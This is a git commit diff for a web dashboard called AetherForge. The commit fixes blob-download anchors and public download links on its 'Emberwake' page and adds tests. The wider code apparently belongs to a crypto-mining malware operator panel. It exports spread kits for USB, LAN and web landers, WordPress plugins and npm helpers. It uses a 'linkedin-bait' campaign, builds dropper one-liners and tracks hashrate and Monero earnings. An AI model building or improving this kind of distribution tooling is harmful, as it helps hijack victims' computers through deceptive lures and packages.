Fix Emberwake downloads by appending blob anchors before click.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

ZIP exports and public download links silently failed because blob saves skipped document.body appendChild (unlike Builds DownloadButton) and public links pointed at the command-deck URL instead of same-origin paths.
This commit is contained in:
AetherForge
2026-06-07 15:54:28 -07:00
parent ab3c4e087d
commit b0240abecc
9 changed files with 156 additions and 76 deletions

View File

@@ -322,6 +322,32 @@ describe('api client', () => {
expect(lastFetch().init.method).toBe('DELETE');
});
it('exportSpreadKit POSTs and triggers blob download', async () => {
setStoredAuth('user', 'pass');
fetchMock.mockResolvedValueOnce(new Response(new Blob(['zip']), { status: 200 }));
const appendChildSpy = vi.spyOn(document.body, 'appendChild');
const clickMock = vi.fn();
vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock);
await api.exportSpreadKit({
build_id: 'build-1',
server_url: 'http://localhost:8989',
campaign: 'linkedin-bait',
});
const { url, init } = lastFetch();
expect(url).toBe('/api/v1/builder/spread-kit-export');
expect(init.method).toBe('POST');
expectAuthHeaders(init);
expect(JSON.parse(init.body as string)).toEqual({
build_id: 'build-1',
server_url: 'http://localhost:8989',
campaign: 'linkedin-bait',
});
expect(appendChildSpy).toHaveBeenCalled();
expect(clickMock).toHaveBeenCalled();
});
it('getDashboardStats and listBuilds', async () => {
fetchMock
.mockResolvedValueOnce(

View File

@@ -1,6 +1,6 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, AIDecisionRecord, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop, SpreadRouteRecommendation, ServiceGraphHost, PublicBuildsResponse, CampaignHitSummary, EmberwakeNotes, SubnetAutopsyPacket } from '../types';
import { authHeaders, clearStoredAuth } from './auth';
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout, triggerBlobDownload } from './download';
const API_BASE = '/api/v1';
@@ -275,15 +275,7 @@ export const api = {
DOWNLOAD_TIMEOUT_MS,
);
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `agent-${id.slice(0, 8)}.log`;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
triggerBlobDownload(await res.blob(), `agent-${id.slice(0, 8)}.log`);
},
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
@@ -494,13 +486,10 @@ export const api = {
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip';
a.click();
URL.revokeObjectURL(url);
triggerBlobDownload(
await res.blob(),
req.campaign ? `emberwake-${req.campaign}.zip` : 'emberwake-spread-kit.zip',
);
},
exportWordPressPlugin: async (req: {
@@ -516,14 +505,8 @@ export const api = {
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const slug = req.site_name.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'site';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${slug}-wordpress-plugin.zip`;
a.click();
URL.revokeObjectURL(url);
triggerBlobDownload(await res.blob(), `${slug}-wordpress-plugin.zip`);
},
exportNpmHelper: async (req: { build_id: string; server_url: string; campaign: string }) => {
@@ -534,14 +517,8 @@ export const api = {
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const slug = req.campaign.trim().toLowerCase().replace(/[^a-z0-9._-]+/g, '-').replace(/^-+|-+$/g, '') || 'npm-helper';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `${slug}-npm-helper.zip`;
a.click();
URL.revokeObjectURL(url);
triggerBlobDownload(await res.blob(), `${slug}-npm-helper.zip`);
},
exportSpreadTemplate: async (req: {
@@ -560,13 +537,7 @@ export const api = {
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aetherforge-${req.template}.zip`;
a.click();
URL.revokeObjectURL(url);
triggerBlobDownload(await res.blob(), `aetherforge-${req.template}.zip`);
},
// Path Tracer — WireGuard VPN chain sessions
@@ -669,13 +640,7 @@ export const api = {
});
if (res.status === 401) clearStoredAuth({ expired: true });
if (!res.ok) throw new Error(await res.text());
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `aetherforge-${req.template}.zip`;
a.click();
URL.revokeObjectURL(url);
triggerBlobDownload(await res.blob(), `aetherforge-${req.template}.zip`);
},
testCloudConnection: (body: { kind: string; endpoint: string; bucket?: string }) =>
@@ -736,15 +701,9 @@ export const api = {
const err = await res.text();
throw new Error(`Backup failed ${res.status}: ${err}`);
}
const blob = await res.blob();
const disposition = res.headers.get('Content-Disposition') ?? '';
const match = disposition.match(/filename="([^"]+)"/);
const filename = match ? match[1] : 'aetherforge-backup.zip';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
a.click();
URL.revokeObjectURL(url);
triggerBlobDownload(await res.blob(), filename);
},
};

View File

@@ -2,9 +2,34 @@
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout } from './download';
import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout, triggerBlobDownload } from './download';
import { setStoredAuth } from './auth';
describe('triggerBlobDownload', () => {
let clickMock: ReturnType<typeof vi.fn>;
let appendChildSpy: ReturnType<typeof vi.spyOn>;
beforeEach(() => {
clickMock = vi.fn();
vi.spyOn(HTMLAnchorElement.prototype, 'click').mockImplementation(clickMock);
appendChildSpy = vi.spyOn(document.body, 'appendChild');
});
afterEach(() => {
vi.restoreAllMocks();
});
it('appends anchor to document body before clicking', () => {
triggerBlobDownload(new Blob(['zip']), 'emberwake-test.zip');
expect(appendChildSpy).toHaveBeenCalled();
const anchor = appendChildSpy.mock.calls[0][0] as HTMLAnchorElement;
expect(anchor.download).toBe('emberwake-test.zip');
expect(clickMock).toHaveBeenCalled();
expect(anchor.isConnected).toBe(false);
});
});
describe('downloadAuthedFile', () => {
let fetchMock: ReturnType<typeof vi.fn>;
let clickMock: ReturnType<typeof vi.fn>;

View File

@@ -37,6 +37,19 @@ export async function fetchAuthedWithTimeout(
}
}
/** Save a Blob to the browser Downloads folder (append anchor — required in Chrome/Firefox). */
export function triggerBlobDownload(blob: Blob, filename: string): void {
const objectUrl = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = objectUrl;
a.download = filename;
a.rel = 'noopener';
document.body.appendChild(a);
a.click();
a.remove();
window.setTimeout(() => URL.revokeObjectURL(objectUrl), 0);
}
/** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */
export async function downloadAuthedFile(apiPath: string, filename: string): Promise<void> {
const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`;
@@ -46,14 +59,7 @@ export async function downloadAuthedFile(apiPath: string, filename: string): Pro
throw new Error(err || `Download failed (${res.status})`);
}
const blob = await res.blob();
const objectUrl = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = objectUrl;
a.download = filename;
document.body.appendChild(a);
a.click();
a.remove();
URL.revokeObjectURL(objectUrl);
triggerBlobDownload(blob, filename);
}
/** Alias used by Forge auto-download and DownloadButton. */

View File

@@ -1,9 +1,10 @@
/** @vitest-environment happy-dom */
import { afterEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import CloudSpreadPanel from './CloudSpreadPanel';
import { api } from '../../api/client';
vi.mock('../../api/client', () => ({
api: {
@@ -26,6 +27,28 @@ describe('CloudSpreadPanel', () => {
expect(screen.getByTestId('cloud-method-minio')).toBeInTheDocument();
});
it('calls exportCloudTemplate when a method download is clicked', async () => {
const user = userEvent.setup();
render(
<MemoryRouter>
<CloudSpreadPanel serverUrl="https://deck.example" buildId="build-1" campaign="wave-a" />
</MemoryRouter>,
);
const panel = screen.getByTestId('cloud-method-s3-cloudfront');
await user.click(panel.querySelector('summary')!);
await user.click(screen.getByRole('button', { name: /Download aetherforge-s3-cloudfront\.zip/i }));
await waitFor(() => {
expect(api.exportCloudTemplate).toHaveBeenCalledWith(
expect.objectContaining({
template: 's3-cloudfront',
server_url: 'https://deck.example',
build_id: 'build-1',
campaign: 'wave-a',
}),
);
});
});
it('shows Crucible cross-link when recon host is entered', async () => {
const user = userEvent.setup();
render(

View File

@@ -4,6 +4,7 @@ import {
combinedDropperQuery,
ps1Oneliner,
shOneliner,
publicDownloadPath,
publicDownloadUrl,
} from './emberwake';
@@ -24,7 +25,11 @@ describe('emberwake URL helpers', () => {
expect(shOneliner('http://10.0.0.5:8989', '')).toContain('install.sh');
});
it('public download URL', () => {
it('public download path for same-origin dashboard links', () => {
expect(publicDownloadPath('build-1', 'c1')).toBe('/api/v1/public/download/build-1?c=c1');
});
it('public download URL for external sharing', () => {
expect(publicDownloadUrl('http://host', 'build-1', 'c1')).toBe(
'http://host/api/v1/public/download/build-1?c=c1',
);

View File

@@ -38,8 +38,14 @@ export function getUrl(baseUrl: string, query = ''): string {
return `${baseUrl.replace(/\/$/, '')}/get${query}`;
}
/** Same-origin path for in-dashboard download links (always hits the current browser host). */
export function publicDownloadPath(buildId: string, campaign = ''): string {
const q = campaignQuery(campaign);
return `/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
}
/** Full URL for sharing/copy — uses command deck base from campaign setup. */
export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string {
const base = origin.replace(/\/$/, '');
const q = campaignQuery(campaign);
return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
return `${base}${publicDownloadPath(buildId, campaign)}`;
}

View File

@@ -115,10 +115,33 @@ describe('EmberwakePage', () => {
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i }));
await waitFor(() => {
expect(exportSpy).toHaveBeenCalled();
expect(exportSpy).toHaveBeenCalledWith({
build_id: 'build-1',
server_url: 'http://192.168.1.5:8080',
campaign: 'linkedin-bait',
});
});
});
it('shows export error when spread kit download fails', async () => {
const user = userEvent.setup();
vi.spyOn(api, 'exportSpreadKit').mockRejectedValueOnce(new Error('no build pinned'));
renderEmberwake();
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
await user.click(screen.getByRole('button', { name: /Export spread kit ZIP/i }));
expect(await screen.findByRole('alert')).toHaveTextContent('no build pinned');
});
it('uses same-origin path for public download links', async () => {
const user = userEvent.setup();
renderEmberwake();
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
await user.click(screen.getByText(/Public download links/i));
const link = await screen.findByRole('link', { name: /public download/i });
expect(link).toHaveAttribute('href', '/api/v1/public/download/build-1?c=linkedin-bait');
expect(link).toHaveAttribute('download');
});
it('auto-selects pinned build A without re-fetch loop', async () => {
const listSpy = vi.spyOn(api, 'listBuilds');
const warRoomSpy = vi.spyOn(api, 'getWarRoom');

View File

@@ -2,7 +2,7 @@ import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
import { publicDownloadUrl } from '../help/emberwake';
import { publicDownloadPath, publicDownloadUrl } from '../help/emberwake';
import {
EMBERWAKE_TECHNIQUE_LINKS,
SPREAD_TECHNIQUES_DOC,
@@ -64,6 +64,7 @@ export default function EmberwakePage() {
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
const [exportBusy, setExportBusy] = useState(false);
const [exportError, setExportError] = useState('');
const [siteName, setSiteName] = useState('my-blog');
const [notesBusy, setNotesBusy] = useState(false);
const [autopsySubnet, setAutopsySubnet] = useState('');
@@ -217,6 +218,7 @@ export default function EmberwakePage() {
};
const exportKit = async () => {
setExportError('');
setExportBusy(true);
try {
await api.exportSpreadKit({
@@ -224,6 +226,8 @@ export default function EmberwakePage() {
server_url: serverBase,
campaign,
});
} catch (e) {
setExportError(e instanceof Error ? e.message : 'Spread kit export failed');
} finally {
setExportBusy(false);
}
@@ -321,14 +325,17 @@ export default function EmberwakePage() {
ZIP templates for USB, LAN, or web landers includes <code>/spread/</code> assets.
</p>
</div>
<button
type="button"
className="btn btn-primary"
disabled={exportBusy || !serverBase}
onClick={() => void exportKit()}
>
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
</button>
<div className="emberwake-export-actions">
<button
type="button"
className="btn btn-primary"
disabled={exportBusy || !serverBase}
onClick={() => void exportKit()}
>
{exportBusy ? 'Zipping…' : 'Export spread kit ZIP'}
</button>
{exportError ? <p className="form-error" role="alert">{exportError}</p> : null}
</div>
</div>
</section>
@@ -557,7 +564,7 @@ export default function EmberwakePage() {
<li key={b.id}>
<strong>{b.worker_name}</strong> ({b.platform})
{' — '}
<a href={publicDownloadUrl(serverBase, b.id, campaign)} target="_blank" rel="noreferrer">
<a href={publicDownloadPath(b.id, campaign)} download>
public download
</a>
<CopyChip text={publicDownloadUrl(serverBase, b.id, campaign)} label="Copy" />